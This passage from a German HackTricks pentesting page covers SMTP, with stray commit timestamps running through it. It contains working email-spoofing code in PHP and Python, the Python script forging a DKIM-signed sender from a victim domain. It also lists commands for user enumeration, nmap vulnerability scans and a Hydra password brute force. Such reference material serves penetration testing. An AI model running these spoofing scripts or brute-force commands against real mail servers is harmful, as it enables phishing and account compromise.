Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}
**Oder Sie könnten es manuell machen:**
2022-10-12 12:28:51 +00:00
{% tabs %}
{% tab title="PHP" %}
2024-02-10 15:36:32 +00:00
<pre class="language-php"><code class="lang-php"><strong># Dies sendet eine nicht signierte Nachricht
</strong><strong>mail("deine_email@gmail.com", "Testbetreff!", "Hey! Dies ist ein Test", "Von: administrator@opfer.com");
2023-02-07 10:56:16 +00:00
</strong></code></pre>
2022-10-12 12:28:51 +00:00
{% endtab %}
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
2024-02-10 15:36:32 +00:00
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
2022-10-12 12:28:51 +00:00
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
2024-02-10 15:36:32 +00:00
dkim_private_key = fh.read()
2022-10-12 12:28:51 +00:00
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{% endtab %}
{% endtabs %}
2021-07-05 10:00:05 +00:00
2024-02-10 15:36:32 +00:00
### **Weitere Informationen**
2020-09-26 15:24:30 +00:00
2024-02-10 15:36:32 +00:00
**Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
2024-02-10 15:36:32 +00:00
### **Weitere Phishing-Indikatoren**
2020-11-29 23:31:10 +00:00
2024-02-10 15:36:32 +00:00
* Alter der Domain
* Links, die auf IP-Adressen verweisen
* Link-Manipulationstechniken
* Verdächtige (ungewöhnliche) Anhänge
* Fehlerhafter E-Mail-Inhalt
* Verwendung von Werten, die von denen der E-Mail-Header abweichen
2024-02-10 15:36:32 +00:00
* Vorhandensein eines gültigen und vertrauenswürdigen SSL-Zertifikats
* Einreichen der Seite bei Web-Inhaltsfilterungsseiten
2020-11-29 23:31:10 +00:00
## Datenabfluss über SMTP
**Wenn Sie Daten über SMTP senden können, lesen Sie dies** [**hier**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
2024-02-10 15:36:32 +00:00
## Konfigurationsdatei
2022-05-01 13:25:53 +00:00
### Postfix
2021-08-29 23:49:17 +00:00
Normalerweise enthält `/etc/postfix/master.cf`, wenn installiert, **Skripte zur Ausführung**, wenn z. B. eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`, dass `/etc/postfix/filtering` ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird.
2021-08-29 23:49:17 +00:00
2024-02-10 15:36:32 +00:00
Andere Konfigurationsdateien:
```
sendmail.cf
submit.cf
```
2024-02-10 15:36:32 +00:00
## Referenzen
2024-02-05 02:28:59 +00:00
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
2024-02-05 02:28:59 +00:00
2024-02-10 15:36:32 +00:00
## HackTricks Automatische Befehle
```
2021-08-12 13:33:09 +00:00
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
2021-08-15 18:02:01 +00:00
Entry_1:
2024-02-10 15:36:32 +00:00
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
2021-08-15 18:02:01 +00:00
2024-02-10 15:36:32 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-smtp
2021-08-15 18:02:01 +00:00
Entry_2:
2024-02-10 15:36:32 +00:00
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
2021-08-15 18:02:01 +00:00
Entry_3:
2024-02-10 15:36:32 +00:00
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
2021-08-15 18:02:01 +00:00
Entry_4:
2024-02-10 15:36:32 +00:00
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
2021-08-15 18:02:01 +00:00
Entry_5:
2024-02-10 15:36:32 +00:00
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
2021-08-12 13:33:09 +00:00
2021-08-15 18:03:22 +00:00
Entry_6:
2024-02-10 15:36:32 +00:00
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
2021-09-13 15:35:02 +00:00
Entry_7:
2024-02-10 15:36:32 +00:00
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
2024-02-10 15:36:32 +00:00
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
2021-08-12 13:33:09 +00:00
```
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**Sofort einsatzbereite Einrichtung für Schwachstellenanalyse und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit mehr als 20 Tools & Funktionen durch, die von der Aufklärung bis zum Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-02 18:28:27 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>